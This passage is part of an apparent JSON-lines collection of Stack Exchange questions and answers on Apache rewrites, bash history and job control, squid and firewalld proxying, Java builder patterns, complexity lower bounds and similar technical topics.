^/?([^/]+)/([0-9]*[^/0-9][^/]*)/([0-9]+)$ /$1/$3/$2 [NS,L,R=301]Of course, you may want to adjust that regexp — especially the category part — to match your existing URLs structure more strictly.)Edit: Per comments below, I might set up the rewrite rules something like this:RewriteEngine OnRewriteBase /# 301 redirect from speakers/title/id to speakers/id/titleRewriteRule ^speakers/([0-9]*[^/0-9][^/]*)/([0-9]+)$ /speakers/$2/$1 [NS,L,R=301]# Internally rewrite speakers/id/title to details.phpRewriteRule ^speakers/([0-9]+)/(.*)$ details.php?dealID=$1&name=$2 [NS]I left out the [L] from the second rule, since it probably doesn't do what you expect when used with internal rewrites in an .htaccess file.  If you really want to skip all later rewrite rules, use [END] instead.As noted above, I would also recommend making details.php either:include a rel=canonical link pointing to the correct http://www.soundplaza.co.uk/speakers/id/title URL for the item in the HTML <head> section, and/orcompare the title passed in via the name parameter to the title the product is supposed to have, and, if they don't match, return a 301 redirect to the correct canonical URL.In fact, I'd suggest doing both: there are various corner cases that each of these techniques will handle that the other might not."  } 
{  "id": "_unix.305524"  , "question": "I was wondering if it is possible to keep a file containing history per current working directory. So for example if I was working in /user/temp/1/ and typed a few commands, these commands would be saved in /user/temp/1/.his or something.  I am using bash."  , "title": "Create history log per working directory in bash"  , "tags": "bash;command history;working directory"  , "accepted_answer": "Building off the answer provided by Groggle, you can create an alternative cd (ch) in your ~/.bash_profile like.function ch () {    cd $@    export HISTFILE=$(pwd)/.bash_history}automatically exporting the new HISTFILE value each time ch is called.The default behavior in bash only updates your history when you end a terminal session, so this alone will simply save the history to a .bash_history file in whichever folder you happen to end your session from.  A solution is mentioned in this post and detailed on this page, allowing you to update your HISTFILE in realtime.A complete solution consists of adding two more lines to your ~/.bash_profile,shopt -s histappendPROMPT_COMMAND=history -a;$PROMPT_COMMANDchanging the history mode to append with the first line and then configuring the history command to run at each prompt."  } 
{  "id": "_unix.137904"  , "question": "Preferably something similar to iptables. Basically, I want to do domain filtering/whitelisting/blacklisting like I would with IPs in iptables. Are there any recommendations on how to do this?"  , "title": "How to do domain filtering in Linux?"  , "tags": "linux;firewall;domain"  } 
{  "id": "_unix.225275"  , "question": "I just started playing with the fish shell, and I really like is so far. However, I can't figure out what the purpose of fishd is. So, why does fish need to start up a daemon process? What is the daemon process used for?"  , "title": "Why does the fish shell need to start a daemon process?"  , "tags": "fish"  } 
{  "id": "_unix.30228"  , "question": "Job control is probably my favorite thing about Linux. I find myself, often, starting a computationally demanding process that basically renders a computer unusable for up to days at a time, and being thankful that there is always CTRL-Z and fg, in case I need to use that particular computer during that particular time period.Sometimes, however, I want to insert a job onto the job stack. I've never figured out how to do that.I'm using bash. It would probably look something like:$ ./reallybigjob^Z[1]+  Stopped                 reallybigjob$ (stuff I don't know) && ./otherbigjob$ fg"  , "title": "Basic job control: stop a job, add a job onto the stack, and `fg`"  , "tags": "bash;job control;jobs"  , "accepted_answer": "There is no job stack, each job is handled independently.You can do fg; otherbigjob. That will put reallybigjob back to the foreground, then when the fg command stops run otherbigjob. This isn't the same thing as queuing otherbigjob for execution after the first job: if you press Ctrl+Z then otherbigjob starts immediately. If you press Ctrl+C then reallybigjob is killed. You can't leave otherbigjob in the background and queue another job after it.If the jobs are CPU-intensive, then the batch utility can let you schedule the next job when the CPU isn't busy."  } 
{  "id": "_unix.28451"  , "question": "I'm trying to send cron output to an email address and am struggling... I'm running the following command:13 15 * * 1-5 root /path/to/mysql-backup.sh 2>&1 | mail -s Daily Database Backup Report my.email@emailhost.comThat shows this error within /var/mail/root/usr/bin/mail: line 1: syntax error near unexpected token `('/usr/bin/mail: line 1: `Config file not found (-s)'Is this trying to validate/execute the output of the cron?Do you do this on your server?  If so, how?"  , "title": "Sending cron output to email?"  , "tags": "email;cron"  , "accepted_answer": "In my experience, /usr/bin/mail is a binary executable, but on your system the shell seems to be loading and interpreting it. syntax error near unexpected token is a bash diagnostic.This can happen if you have overwritten an executable. Is there any conceivable chance that you have overwritten /usr/bin/mail with the text Config file not found (-s), causing said text to be fed to the shell when you try to execute it?"  } 
{  "id": "_softwareengineering.260075"  , "question": "BackgroundI have a class TextDrawable which draws text on top of a shape. There are a number of properties that can be set while creating a TextDrawable object. Mandatory Properties:TextShapeOptional Properties:ColorWidthHeightFontBorder......  etc.The class will have constructors that look like:public TextDrawable(String text, Shape shape) {}public TextDrawable(String text, Shape shape, int color) {}public TextDrawable(String text, Shape shape, int color, int width, int height) {}// and so on..Builder Pattern :I decided to use the Builder Pattern to make it more convenient to create TextDrawable objects. I followed the design as explained in Effective Java, and here in this highly upvoted answer. I came up with the builder class which will be used as follows:TextDrawable drawable = new TextDrawable.Builder(AK, Shape.RECT)        .width(10)        .height(10)        .useFont(Typeface.DEFAULT_BOLD)        .build();Possible Problem:There seems to be a problem with this design. Since the mandatory fields are passed in the constructor of the builder, the builder cannot be reused.What if I wanted to create another TextDrawable of same height, width, font etc but with different text and color.  I will have to create another builder object and repeat the same code as above.TextDrawable oct = new TextDrawable.Builder(OCT, Shape.RECT)        .width(10)        .height(10)        .useFont(Typeface.DEFAULT_BOLD)        .build();TextDrawable nov = new TextDrawable.Builder(NOV, Shape.OVAL)        .width(10)        .height(10)        .useFont(Typeface.DEFAULT_BOLD)        .build();Proposed Method:What if I move the mandatory parameters from the constructor of the builder to the build method as follows:TextDrawable drawable = new TextDrawable.Builder()        .width(10)        .height(10)        .useFont(Typeface.DEFAULT_BOLD)        .build(AK, Shape.RECT);This way allows for more flexibility as I can create one instance of the builder and reuse it to create multiple objects. (Also avoids repeating the same code every time I create a new object.) The new usage will look something like:TextDrawable.Builder builder = new TextDrawable.Builder()        .width(10)        .height(10)        .useFont(Typeface.DEFAULT_BOLD);TextDrawable oct = builder.build(OCT, Shape.RECT);TextDrawable nov = builder.build(NOV, Shape.OVAL);It prevents boilerplate code. Also allows the build method to fit into the fluency idiom as follows:TextDrawable oct = builder.buildRect(OCT);TextDrawable nov = builder.buildOval(NOV);Questions:Is the problem identified above valid or do I lack understanding of the builder pattern? Should we not reuse builder objects to created multiple instances?Is the proposed modification to the well known builder pattern valid? Are there any disadvantages of moving the mandatory fields into the build() method?If there are some possible drawbacks, what is a better way of achieving what I want? Should I be using a director object or something that encapsulates the builder to achieve what I want? "  , "title": "Is there a limitation when using the Bloch's Builder Pattern with mandatory fields?"  , "tags": "java;design patterns;object oriented design"  , "accepted_answer": "1. Is the problem identified above valid or do I lack understanding of the builder pattern? Should we not reuse builder objects to created multiple instances?It can be, depending on your situation. Here you've identified that you have mandatory fields that are unique, therefore making them parameters to your build method allows you to reuse the same pre-configured builder over and over, which is handy.2. Is the proposed modification to the well known builder pattern valid? Are there any disadvantages of moving the mandatory fields into the build() method?As far as advantages or disadvantages go, I think that the other option you haven't considered here is allowing the required fields to be set the same way the other fields are. Take the following code for example:TextDrawable.Builder builder = new TextDrawable.Builder(OCT, Shape.RECT)        .width(10)        .height(10)        .useFont(Typeface.DEFAULT_BOLD);// Make the rectangleTextDrawable oct = builder.build();// Build the new shapeTextDrawable oct = builder.name(NOV).shape(Shape.OVAL).build();Obviously this is very similar to what you had though, and either approach is equally valid. It really comes down to how much you want to configure, and how much you know will always change. If you'll be building a bunch of rectangles of the same size, but only changing the name, this solution allows you to remove the shape parameter.3. If there are some possible drawbacks, what is a better way of achieving what I want? Should I be using a director object or something that encapsulates the builder to achieve what I want?A director would allow you to set up predefined builders more easily. You could have a director for making circles of the same size, or a director that takes in only one length and only makes squares. It's job is to reduce the boilerplate even further, but does so at added class complexity of the overall application. I would really only go this option if you are going to absolutely need it, and stick with your solution of re-using builders where possible."  } 
{  "id": "_webmaster.82983"  , "question": "I have entered data into DHIS2 using data entry forms and would like to delete it, individually or in bulk for multiple geographical units - is there an easy way to do this?Additionally - when I update a data entry form for a data set in DHIS2 to include additional data elements - the update is not reflected in the data entry module. Is it necessary to clear the existing data entered on the original data entry form - to have the updated form available for re-entry?"  , "title": "How do I bulk delete data in DHIS2 that has been entered via data entry forms"  , "tags": "data"  } 
{  "id": "_unix.233744"  , "question": "On my Dell XPS 13 9343 my touchpad can work with I2C bus or in PS2 mode.What is the difference between those two modes ? Why are they both available ?The output of xinput is : Virtual core pointer                           id=2    [master pointer  (3)]    Virtual core XTEST pointer                 id=4    [slave  pointer  (2)]    DLL0665:01 06CB:76AD UNKNOWN               id=13   [slave  pointer  (2)]    SynPS/2 Synaptics TouchPad                 id=15   [slave  pointer  (2)]DLL0665:01 06CB:76AD UNKNOWN is the touchpad using I2C bus."  , "title": "What is the difference between I2C and PS2 mode?"  , "tags": "hardware;touchpad"  } 
{  "id": "_vi.2521"  , "question": "If I type :registers, I see a lot of <09>:1   <09><09><09>d = self / i.to_f^J<09><09><09>r = d.to_s^J<09><09><09>p r =~ /0$/^J2   <09><09><09>puts ''^J3   <09><09><09>p #{self}, #{i}^J<09><09><09>p d^JThe <09> represents a Tab character; they're displayed in blue.If I use :set display&vim, I get something marginally better:1   ^I^I^Id = self / i.to_f^J^I^I^Ir = d.to_s^J^I^I^Ip r =~ /0$/^J2   ^I^I^Iputs ''^J3   ^I^I^Ip #{self}, #{i}^J^I^I^Ip d^JBut it's still not useful enough to easily scan the output for the line I want..I know this is a feature, and I understand why it's there, but I find this extremely unhelpful when looking for the register I want.Is there any way to either not show it at all or show them as spaces?"  , "title": "Don't show tab characters as ^I or <09> in the output of :registers"  , "tags": "register;tab characters"  } 
{  "id": "_unix.375971"  , "question": "Firefox is very slow, and I have tried many related posts about it, without success. One thing I noticed though is that I have IPv6 enabled:id@id:~$ test -f /proc/net/if_inet6 && echo Running kernel is IPv6 readyRunning kernel is IPv6 readyMaybe this is slowing down the browser. I have no problems with Chrome.I want to know if disabling IPv6 is safe, and if it will not cause other applications to fail. Here is the output of sudo netstat -tulpnActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program nametcp        0      0 127.0.0.1:6342          0.0.0.0:*               LISTEN      7841/megasync   tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      6301/smbd       tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      9356/nginx: master tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      1634/dnsmasq    tcp        0      0 0.0.0.0:17500           0.0.0.0:*               LISTEN      7832/dropbox    tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      6301/smbd       tcp        0      0 127.0.0.1:17600         0.0.0.0:*               LISTEN      7832/dropbox    tcp        0      0 127.0.0.1:17603         0.0.0.0:*               LISTEN      7832/dropbox    tcp6       0      0 :::139                  :::*                    LISTEN      6301/smbd       tcp6       0      0 :::80                   :::*                    LISTEN      9356/nginx: master tcp6       0      0 :::443                  :::*                    LISTEN      9356/nginx: master tcp6       0      0 :::17500                :::*                    LISTEN      7832/dropbox    tcp6       0      0 :::445                  :::*                    LISTEN      6301/smbd       udp        0      0 0.0.0.0:17500           0.0.0.0:*                           7832/dropbox    udp        0      0 0.0.0.0:5353            0.0.0.0:*                           1000/avahi-daemon: udp        0      0 0.0.0.0:44093           0.0.0.0:*                           1000/avahi-daemon: udp        0      0 0.0.0.0:56476           0.0.0.0:*                           1634/dnsmasq    udp        0      0 127.0.1.1:53            0.0.0.0:*                           1634/dnsmasq    udp        0      0 0.0.0.0:68              0.0.0.0:*                           1625/dhclient   udp        0      0 192.168.1.255:137       0.0.0.0:*                           6379/nmbd       udp        0      0 192.168.1.100:137       0.0.0.0:*                           6379/nmbd       udp        0      0 0.0.0.0:137             0.0.0.0:*                           6379/nmbd       udp        0      0 192.168.1.255:138       0.0.0.0:*                           6379/nmbd       udp        0      0 192.168.1.100:138       0.0.0.0:*                           6379/nmbd       udp        0      0 0.0.0.0:138             0.0.0.0:*                           6379/nmbd       udp        0      0 0.0.0.0:631             0.0.0.0:*                           6968/cups-browsedudp6       0      0 :::5353                 :::*                                1000/avahi-daemon: udp6       0      0 :::54618                :::*                                1000/avahi-daemon: (I can't see Firefox there!) (I also notice that I have nginx running. Do I need that?) "  , "title": "Is is safe to disable IPv6 to speed up Firefox?"  , "tags": "firefox;ipv6"  } 
{  "id": "_codereview.82524"  , "question": "This is my first open source release and I'd like to get some feedback on my code styling/organization. Implementation tips are appreciated as well.The code is for an AngularJS select box that allows you to select from a list of values, or enter in free text. The control can be configured to:compare against an attribute of the source items. return a specific attribute (EG for searching names, but returning an id). return the source object or the value (generating a object in the case of freetext input.GitHubExample usage:HTML<body ng-app=test><script type=text/javascript>  angular.module(test, ['fzSelect'])  .controller(test, function($scope){    $scope.myItems = [{name: 'one', value: 1}, {name: 'two', value: 2}, {name: 'three', value: 3}];    $scope.myValue = { value: something };  })</script><div style=width: 600px; ng-controller=test>  <h1> {{myValue.value}} </h1>  <div fz-select fz-select-items=myItems        fz-match-attribute=name        fz-return-attribute=value        fz-return-objects=false       ng-model=myValue.value />  </div></body>Angular Codeangular.module( fzSelect, [] ).directive( fzSelect, ['$filter', '$timeout', '$parse',  function($filter, $timeout, $parse){    return {      restrict: 'EA',      // require: ['ngModel', 'fzSelectItems'],      template: '<div class=input-group >'+  '<input class=form-control ng-model=searchString></input>'+  '<span class=input-group-btn>'+    '<button class=btn btn-primary ng-click=showAll() >&#9660;</button>'+  '</span>'+'</div>'+'<div class=fz-select-results-container ng-if=resultsVisible.value> '+  '<div  class=fz-select-results-row '+    'ng-repeat=item in filteredItems '+    'ng-click=resultItemClicked(item)>{{getItemDisplayString(item)}}</div>'+'</div>',      link: function($scope, element, attrs){        angular.element(element).addClass('fz-select-component');        var itemsGetter = $parse(attrs.fzSelectItems);        var valueGetter = $parse(attrs.ngModel);        var valueSetter = valueGetter.assign;        var itemAttributeName = null;        var itemAttributeGetter = null;        if( attrs.hasOwnProperty('fzMatchAttribute') ){          itemAttributeGetter = $parse(attrs.fzMatchAttribute);          itemAttributeName = attrs.fzMatchAttribute;        }        var itemReturnAttributeName = value;        var itemReturnAttributeGetter = null;        if( attrs.hasOwnProperty('fzReturnAttribute') ){          itemReturnAttributeGetter = $parse(attrs.fzReturnAttribute);          itemReturnAttributeName = attrs.fzReturnAttribute;        } else if( attrs.hasOwnProperty('fzMatchAttribute') ){          itemReturnAttributeGetter = $parse(attrs.fzMatchAttribute);          itemReturnAttributeName = attrs.fzMatchAttribute;        }        var returnObjects = false;        if( attrs.hasOwnProperty(fzReturnObjects) ){          returnObjects = attrs.fzReturnObjects == true;        }        $scope.items = itemsGetter($scope);        $scope.searchString = valueGetter($scope);        $scope.filteredItems = [];        $scope.resultsVisible = {value: false};        $scope.selectedValue = null;        var valueWasSelected = false;        $scope.showResults = function(show){          $timeout(function(){            $scope.resultsVisible.value = show;          });        };        $scope.getItemDisplayString = function(item){          if( itemAttributeGetter != null  ){            return itemAttributeGetter(item);           }else{            return item;          }        };        $scope.showAll = function(){          $scope.filteredItems = $scope.items;          $scope.showResults(true);        };        $scope.updateSourceValue = function(){          if($scope.selectedValue != null){            if( itemReturnAttributeGetter != null  && !returnObjects){              valueSetter($scope, itemReturnAttributeGetter($scope.selectedValue));            } else {              valueSetter($scope, $scope.selectedValue);            }          } else {            if(returnObjects){              var returnObject = {}              returnObject[itemReturnAttributeName] = $scope.searchString;              valueSetter($scope, returnObject);            } else {              valueSetter($scope, $scope.searchString);            }          }        };        $scope.resultItemClicked = function(item){          $scope.selectedValue = item;          $scope.searchString = $scope.getItemDisplayString(item);          valueWasSelected = true;          $scope.showResults(false);        };        $scope.filterItems = function(){          var searchObject = {};          if( itemAttributeName != null ){            searchObject[itemAttributeName] = $scope.searchString;          } else {            searchObject = $scope.searchString;          }          var tempList = $filter('filter')($scope.items, $scope.searchString);          $scope.filteredItems = tempList;          if( $scope.searchString.length > 0 && !$scope.resultsVisible.value )            $scope.showResults(true);          if( $scope.searchString.length == 0 && $scope.resultsVisible.value )            $scope.showResults(false);        };        $scope.$watch('searchString', function(){          $scope.filterItems();          if( !valueWasSelected )            $scope.selectedValue = null;          else            valueWasSelected = false;          $scope.updateSourceValue();        }, true);      }    }  }])"  , "title": "AngularJS select box"  , "tags": "javascript;angular.js"  } 
{  "id": "_unix.321296"  , "question": "Could you please advise on the following:infra-server with IP x.x.x.x (with no internet connectivity) does the following request:$ wget http://google.com--2016-11-04 09:32:55--  http://google.com/Resolving google.com (google.com)... 172.217.22.110, 2a00:1450:4001:81d::200eConnecting to google.com (google.com)|172.217.22.110|:8888... failed: Connection timed out.proxy-server (squid listening on 8888) has the following interfaces:eth1: 1.1.1.1 where all incoming requests from infra-server are coming ineth2: 2.2.2.2 which has internet connectivity with a default route (80,443) because its address is translated in the firewall (gateway)By doing a tcpdump on proxy-server and eth1 (incoming interface) I see correctly the traffic arriving:09:49:10.033951 IP  x.x.x.x.45977 > 1.1.1.1.8888: Flags [S], seq 258250387, win 29200, options [mss 1460,sackOK,TS val 3204336400 ecr 0,nop,wscale 7], length 009:49:11.034310 IP  x.x.x.x.45977 > 1.1.1.1.8888: Flags [S], seq 258250387, win 29200, options [mss 1460,sackOK,TS val 3204337402 ecr 0,nop,wscale 7], length 009:49:13.042720 IP  x.x.x.x.45977 > 1.1.1.1.8888: Flags [S], seq 258250387, win 29200, options [mss 1460,sackOK,TS val 3204339408 ecr 0,nop,wscale 7], length 009:49:17.047283 IP  x.x.x.x.45977 > 1.1.1.1.8888: Flags [S], seq 258250387, win 29200, options [mss 1460,sackOK,TS val 3204343416 ecr 0,nop,wscale 7], length 009:49:22.303238 IP  x.x.x.x.45977 > 1.1.1.1.8888: Flags [R], seq 258250387, win 1400, length 009:49:25.060419 IP  x.x.x.x.45977 > 1.1.1.1.8888: Flags [S], seq 258250387, win 29200, options [mss 1460,sackOK,TS val 3204351424 ecr 0,nop,wscale 7], length 009:49:30.321096 IP  x.x.x.x.45977 > 1.1.1.1.8888: Flags [R], seq 258250387, win 1400, length 0By doing a tcpdump on the proxy-server and eth2 (outgoing interface) I do not see any outgoing http trafficWhat I have changed in the configuration of squid is only the following:acl infra-server src x.x.x.x/32http_access allow infra-serverhttp_port 1.1.1.1:8888System-wise, SElinux is set to permissive:# getenforcePermissiveand how firewalld is configured is:# firewall-cmd --list-all --zone=internalinternal (active)  interfaces: eth1  sources:   services: dhcpv6-client ipp-client mdns samba-client ssh  ports: 8888/tcp  masquerade: no  forward-ports:   icmp-blocks:   rich rules: # firewall-cmd --list-all --zone=externalexternal (active)  interfaces: eth2  sources:   services: http https ssh  ports:   masquerade: yes  forward-ports:   icmp-blocks:   rich rules: I just need the rule to forward traffic from eth1 to eth2 (I think).Could you please advise ?"  , "title": "firewalld + squid : how-to setup a proxy"  , "tags": "linux;networking;proxy;squid;firewalld"  } 
{  "id": "_unix.323256"  , "question": "This is as much a question about suspending processes/SIGSTOP as it is about stressSo I'm using stress to simulate memory pressure on my system. stress --vm X --vm-bytes YMThis works fine, but I notice that it consumes a lot of CPU. root@ET0021B703EB23:~# ps -aux | grep stressroot     11800  0.0  0.0   2192   232 pts/4    S+   15:21   0:00 stress --vm 1 --vm-bytes 10Mroot     11801 83.5  0.2  12436  2436 pts/4    R+   15:21   0:03 stress --vm 1 --vm-bytes 10MNow CPU load isn't something I want to be concerned about in this test. I used Ctrl +  Z to suspend my stress, and I now see that the CPU consumed has fallen but the memory remains, which is what I wanted.root@ET0021B703EB23:~# ps -aux | grep stressroot      9080  0.0  0.0   2760   296 pts/2    S+   15:18   0:00 grep stressroot     17030  0.0  0.0   2192   172 pts/2    T    14:51   0:00 stress --vm 1 --vm-bytes 10Mroot     17031  2.7  0.4  12436  4860 pts/2    T    14:51   0:44 stress --vm 1 --vm-bytes 10MAs I understand it, keeping a process suspended will keep it in memory. Can I therefore use this method to reliably simulate memory pressure without CPU cost?My concern is if there is something in linux that will kill, or otherwise remove the memory impact of, a suspended process under memory pressure or something (like Android's lowmemorykiller). Does such a thing exist, or is there any reason why this wouldn't work?"  , "title": "Can I suspend a process (`stress`) to simulate memory pressure minus the CPU cost?"  , "tags": "linux;memory;signals"  , "accepted_answer": "I found this Oracle article about OOM Killer (Out Of Memory Killer) answer a half of your question, specially in 'Configuring the OOM Killer' chapter.I extract from there two important commands (I think):Disable OOM Killer root@host:~# sysctl vm.overcommit_memory=2Exclude a process from OOM Killer root@host:~# echo -17 > /proc/<pid>/oom_adjOther very interesting answer is 1.4 in this FAQ from stress project page, it says:1.4 Why is my CPU getting hammered but not my RAM?  This is because stress if faily conservative in its default options.  It is  pretty easy to render a system temporarly unusable by forcing the virtual  memory manager to thrash.  So make sure you understand how much memory you  have and then pass the appropriate options.  On a dual-core Intel system  with 3 GB of RAM a reasonable invocation is this:stress -m 1 --vm-bytes 2GRight, your question has not been answered yet. Let's look at stress manual ...  -c, --cpu N      spawn N workers spinning on sqrt()Maybe the above option could help, try to set it to zero. Oops, It doesn't work!?After a look at the code I noticed that this option is disabled by default. And I've also noticed that --vm-hang option may be what you want.The default action of --vm is spinning on malloc()/free(), and it's CPU intensive! --vm-hang  makes stress program do a pause for  seconds every time it allocates until free().Try to use the following (consumes ~128MB of RAM):root@host:~# stress --vm 1 --vm-bytes 128000000 --vm-hang 3600And do a test in another terminal:root@host:~# top"  } 
{  "id": "_unix.237660"  , "question": "I want to make ssh connection to my server but I don't want to enter password. I want to save output to a file like so:$ ssh root@x.x.x.x -p 22 1>output 2>&1but when I run it the output is shown to me:root@x.x.x.x's password:I want this state redirect to a file and not show to me then close ssh connection immediately...What should I do?"  , "title": "how to redirect output of ssh to a file"  , "tags": "bash;ssh;io redirection;stdout;stderr"  } 
{  "id": "_webmaster.16028"  , "question": "The google adsense code contains a reference to a javascript file. If I have 3 ad units on a single page, can I remove this reference from the other two because it is just the same. Will it violate the don't manipulate the code rule of google adsense?"  , "title": "Google Adsense code?"  , "tags": "google adsense"  , "accepted_answer": "Best to let Google do its thing without manipulating the code.As this support page mentions, Google will optimize based on your pages:http://www.google.com/adsense/support/bin/answer.py?hl=en&answer=9735"  } 
{  "id": "_webmaster.104390"  , "question": "Google Search Console flags duplicate titles for the following pages on my site - they all have the title 'prodname'/de/products/georadar/prodname/es/products/georadar-gpr-radar-de-penetracion-terrestre/prodname/fr/products/georadar/prodname/zh/products/gpr/prodnameHowever, each page is in a different language (set by lang in the html tag) and the pages link to each other using:<link rel=alternate hreflang=es href=... /> and so onSurely this should not be treated as duplicate titles, since each title is distinct on my site for each language?  I have a lot of pages like these on my site, as the title is generated from the product name, and the product name is not translated. Each page has translated content. Is this really likely to be an issue to Google?"  , "title": "Duplicate titles being flagged are on pages with different languages"  , "tags": "google search console;html;duplicate content;language;titles"  } 
{  "id": "_cstheory.832"  , "question": "Following the discussion on lower bounds for 3SAT [1], I'm wondering what are the main lower bound results formulated as space-time tradeoffs.  I'm excluding results such as, say, Savitch's theorem; a good entry would focus on a single problem and its bounds.  An example would be :Let T and S be the running time and space bound of any SAT algorithm. Then we must have TSn2cos(/7)o(1) infinitely often. (Given in [1] by Ryan Williams.)orSAT cannot be solved simultaneously in n1+0(1) time andn1- space for any >0 on generalrandom-access nondeterministic Turing machines. (Lance Fortnow in 10.1109/CCC.1997.612300)Further, I'm including definitions of natural space-time tradeoff complexity classes (excluding circuit classes). "  , "title": "Space-time tradeoff lower bounds"  , "tags": "cc.complexity theory;ds.algorithms;big list;space time tradeoff"  , "accepted_answer": "Here are a few additional references. More can be found by looking at the papers that cite these.Duris and Galil (1984) give a language in $P$ which requires $T^2 S \\geq \\Omega(n^3)$ on one-tape Turing machines with any constant number of read-write heads. Karchmer (1986) showed that the same lower bound holds for the element distinctness problem. Babai, Nisan, and Szegedy (1989) give a very natural language (generalized inner product) that is solvable in $O(n)$ time and $O(1)$ space on a $k+1$-head one-tape Turing machine, that requires $T S \\geq \\Omega(n^2)$ on any $k$-head one-tape Turing machine.Ajtai (1999) shows time-space tradeoffs for deterministic random access machines computing element distinctness. In particular if $S \\leq o(n)$, then $T \\geq \\omega(n)$. Subsequent work by Beame, Saks, Sun, and Vee (2000) proves time-space tradeoffs for randomized computations.Santhanam (2001) showed that $TS \\geq \\Omega(n^2)$ holds for multitape Turing machines solving SAT, building on Cobham's analogous lower bound for PALINDROMES. "  } 
{  "id": "_scicomp.20540"  , "question": "I have been trying to solve the following nonlinear ordinary differential equation:$$-\\Phi''-\\frac{3}{r}\\Phi'+\\Phi-\\frac{3}{2}\\Phi^{2}+\\frac{\\alpha}{2}\\Phi^{3}=0$$with boundary conditions$$\\Phi'(0)=0,\\Phi(\\infty)=0.$$My solution is supposed to reproduce the following plots:Now, to produce the plots given above, I wrote the following Mathematica code: = 0.99;lower = 0;upper = 5;For[counter = 0, counter <= 198, counter++,    0 = (lower + upper)/2;    r0 = 0.00001;    r0 = 0 + (1/16) (r0^2) (2 (0) - 3 (0^2) +  (0^3));    pr0 = (1/8) (r0) (2 (0) - 3 (0^2) +  (0^3));    diffeq = {-''[r] - (3/r) '[r] + [r] - (3/2) ([r]^2) + (/2) ([r]^3) == 0, [r0] == r0, '[r0] == pr0};    sol = NDSolve[diffeq, , {r, r0, 200}, Method -> ExplicitRungeKutta];    test = [200] /. sol[[1]];    upper = If[(test < 0) ||   (test > 1.2), 0, upper];    lower = If[(test < 1.2) && (test > 0),   0, lower];]Plot[Evaluate[{[r]} /. sol[[1]]], {r, 0, 200},      PlotRange -> All, PlotStyle -> Automatic] In the code, I used Taylor expansion at $r=0$ due to the $-\\frac{3}{r}\\Phi'$ term. Moreover, I used shooting method and continually bisected an initial interval from $\\Phi_{\\text{upper}}=5$ to $\\Phi_{\\text{lower}}=0$ to obtain more and more precise values of $\\Phi(0)$.With the code above, I was able to produce the plots for $\\alpha = 0.50, 0.90, 0.95,0.96,0.97$. For example, my plot for $\\alpha = 0.50$ is as follows:However, my plot for $\\alpha = 0.99$ does not converge to the required plot:Can you suggest how I might tackle this problem for $\\alpha = 0.99$? Also, is there an explanation for the plots shooting upwards and oscillating after a prolonged asymptotic trend towards the positive $r$-axis?"  , "title": "Solving an ODE using shooting method"  , "tags": "ode"  } 
{  "id": "_unix.77194"  , "question": "I sometimes see the command :notify-send -u critical -t 3000 ExampleHowever, with -u critical, it seems like the notification doesn't time out. What is the purpose of adding a timeout option then?Do you have a link which explains exactly what the notify-send does? The ones I found were not very detailed in their explanations.What is the purpose of the -u option, btw?"  , "title": "notify-send command with -u critical and -t option"  , "tags": "linux;notifications"  } 
{  "id": "_softwareengineering.29782"  , "question": "I am novice developer.While development is going on, we come across different error issues. However for the novice of programming, it is always hard to directly understand them & solve them.I believe, errors are generally related to typing error OR data structure error OR run-time memory error - which is related to hardware OR else.How to elaborate and solve those errors very fast ?"  , "title": "How to Solve an Error?"  , "tags": "debugging;errors"  , "accepted_answer": "My thoughts:I don't think many errors are related to typing errors.  Typos will generally not produce stuff that will compile so rarely produces anything that gets even as far as unit testing, let alone beyond that.  Those few that do are generally very easy to spot.In 16 years in development the only issues that I've seen which were caused by a hardware fault were so major (i.e. system / sub-system down) that it was instantly obvious and was picked up by the sysadmins.  Once it makes it as far as the programmer I'd suggest that you remove the possibility of hardware error from your mind until you see some very very strong evidence to suggest that that's the case as generally it's so unlikely you shouldn't waste time thinking about it.Errors fall into three categories:1) Misunderstandings - that is the system is working correctly but someone has misunderstood what it's meant to do.  The best way to find out if this is the case is to get as much information as possible, ideally by speaking to someone who has actually seen the error and ask what they saw and what they expected to see.2) Configuration Errors - while there are very few errors which are caused by hardware errors, there are plenty caused by machines being set up differently as far as software configuration goes.  This is particularly likely if you can't reproduce the error on your development set up which is likely to be pretty non-standard because of the assorted tools you've got installed and changes you've made to be productive.  The best thing to do here is to have a development test environment which is a clone of production and try and reproduce the error on there.  Once you have you can start comparing that environment to the ones where it works and see what the differences are.3) Code Errors - the code is out and out wrong.  There are common problems (not checking return values or badly handled errors, incorrect loops and checks - for instance not checking the final record in an array or collection because the developer got confused about whether it ended at i or i-1) but exactly how common they are varies from project to project and in any case, they're easy enough to spot by walking the code.  The main things I'd say here are make sure you can reproduce the error (this may involved getting details of a specific record where the error occurs from the user) and walk the code line by line.Broadly speaking I'd suggest the following hints:1) Own the problem.  It's your problem and you need to fix it regardless of what it is or who originally caused it.  This may involve you looking into things that aren't your area of specialisation but it that's what it takes, that's what you do.2) Speak to the user.  The thing which slows down problem resolution the most in my experience is bad information so cut that out by going straight to the user and find out what's happening.  Have them walk you through it, what they did, what they saw, what they expected to see.  Ask if it happens all the time or just some of the time.  If it's just some of the time ask them about patterns, get details of specific records where it occurs.  Question everything and assume nothing.  And when I say speak to them, I mean speak to them - you'll find out more than through some e-mail conversation and you'll do so far far faster.3) Reproduce the problem.  Don't guess at the solution, reproduce it, it's the only way of knowing you've really found what's happening.  Walk the code step by step and see what's actually happening.  This may involve reproducing the environment or getting a copy of the database - if you have to, that's what you do.4) Be realistic.  It's not a hardware problem and you've not found a problem with the compiler.  Once you've worked out it's a real problem (that is that the user is not mistaken about what it's meant to be doing) and you've reproduced it, by far the most likely issue is that the code is wrong so don't kid yourself otherwise.5) Fix the root problem, not the symptom.  If they say everything is out by 1, don't just subtract 1 from everything, find out WHY it was out by 1 and fix that.  If you only fix the symptom, you will see the problem again."  } 
{  "id": "_webmaster.77959"  , "question": "I am a beginner developer who knows HTML, CSS  and lately have entered in web development world with learning some beginning php scripts.I just want to know is there a clean CMS that allows me to lunch a dynamic website including forms and registration with my current knowlege? (i don't want a CMS limit my created HTML page in design.)And for last, it is very useful if this CMS be rich in functional developments, maybe in future i can develop bigger projects, and just for mention i don't like using too many plugins for sample things, i just want this CMS be functionaly easy and do not limit me.thanks"  , "title": "A CMS for a beginner developer"  , "tags": "html;css;cms;design"  } 
